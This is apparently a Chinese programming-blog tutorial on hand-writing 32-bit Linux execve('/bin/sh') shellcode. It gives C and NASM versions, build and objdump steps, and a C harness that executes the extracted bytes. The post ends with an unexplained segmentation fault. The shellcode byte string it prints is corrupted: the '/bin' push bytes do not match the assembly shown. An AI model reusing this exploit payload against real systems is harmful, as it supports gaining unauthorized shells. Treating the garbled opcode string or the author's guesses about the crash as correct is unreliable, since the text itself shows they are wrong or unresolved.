欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

shellcode编写

程序员文章站 2022-07-15 14:42:53
...

1.前言

漏洞利用最重要的就是shellcode的编写,漏洞发现者在漏洞发现之初并不会给出完整的shellcode,所以我们要学会自己编写shellcode。

注:shellcode中不能出现NULL和/x00,存在其一再利用的时候会被截断。

2.什么是Shellcode

shellcode是用作利用软件漏洞的有效载荷的一小段代码,因为它通常启动一个命令shell,攻击者可以从中控制受攻击的机器,所以称他为shellcode。但是任何执行类似任务的代码都可以称为shellcode。 因为有效载荷的功能不仅限于一个shell。

shellcode基本的编写方式有以下三种:

① 直接编写十六进制操作码。

② 使用c语言编写程序,然后进行编译,最后进行反汇编来获取汇编指令和十六进制操作码。

③ 编写汇编程序,将该程序汇编,然后从二进制中提取十六进制操作码。

第一种方法很极端,直接编写十六进制操作码是一件非常难得事情。下面我将带大家一步步去编写自己的shellcode。

3.execve系统调用

在Linux系统上执行程序的方式有多种,但是其中使用最广泛的一种方式就是通过借助execve系统调用。32位linux内核的系统调用表可以通过网站来查询,我们这里获得shell只需用到execve函数,我们首先来看看execve的使用方法。

shellcode编写

这里execve函数系统调用号为11,图中也给出了对应寄存器中保存的参数值。

c语言实现execve系统调用创建shell

#include <unistd.h>

int main()
{
    char * shell[2];
    shell[0]="/bin/sh";
    shell[1]=NULL;
    execve(shell[0],shell,NULL);
}

然后我们使用gcc编译器来编译一下:

gcc 4.c -o 4

shellcode编写

成功执行创建一个shell。

转向汇编语言

前面我们已经使用c语言来实现了,现在我们就需要用汇编语言来重写execve系统调用,其实很简单。我们先来查看一下execve系统调用号:11

汇编代码重写:

首先我们将寄存器eax清零。

xor eax,eax

然后我们将寄存器eax进行入栈操作,其实就是将字符串末尾的空字符值入栈:

push eax

然后将//sh入栈(由于需要对齐,因此这里用了四个字节)第一个参数

push 0x68732f2f

最后将/bin入栈。

push 0x6e69622f

现在栈上已经有了全部所需数据,现在就是设置execve系统调用了。将/bin//sh存放到EBX寄存器,第2个参数

mov ebx,esp

压4字节的NULL,第3个参数,环境变量为 NULL

push eax
push ebx

把EBX地址存入ECX寄存器

mov ecx,esp
xor edx,edx
mov al,0xb  ;0xb表示其系统调用号的十六进制,execve的系统调用号为11
int 0x80    ;int 0x80软中断是系统中断,根据中断号和相关寄存器设置调用对应系统函数

完整代码如下:

section .text
global _start

_start:
xor eax,eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx,esp
push eax
push ebx
mov ecx,esp
xor edx,edx
mov al,0xb
int 0x80

编译链接

首先使用nasm进行汇编

nasm -f elf 2.asm

(如果未安装nasm,通过sudo apt-get install nasm安装)

然后使用ld链接

ld -o 2 2.o

(提示不兼容的话用ld -m elf_i386 -o 2 2.o)

运行测试看看

shellcode编写

4.提取十六进制操作码并测试Shellcode

用objdump工具的-d选项进行反汇编即可:

输入命令:

objdump -d 2

shellcode编写

得到shellcode:”\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2\x6\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80”;

测试shellcode

首先我们将十六进制操作码放入一个名为shellcode[]的缓冲区中。

#include <stdio.h>

char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2\x6\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";

int main()
{
    void (*fp) (void);
    fp=(void *)shellcode;
    fp();
}

然后通过gcc编译,测试,但是出现了段错误这种情况,上网查了一下,说是因为系统本身有数据区执行保护机制,导致在全局数据段的shellcode不能被运行,即出现段错误。

shellcode编写

这里我们先安装一下execstack。

sudo apt-get install execstack

然后针对编译后的程序使用execstack

execstack -s 程序名

可是弄完之后仍然是段错误,不知道为啥!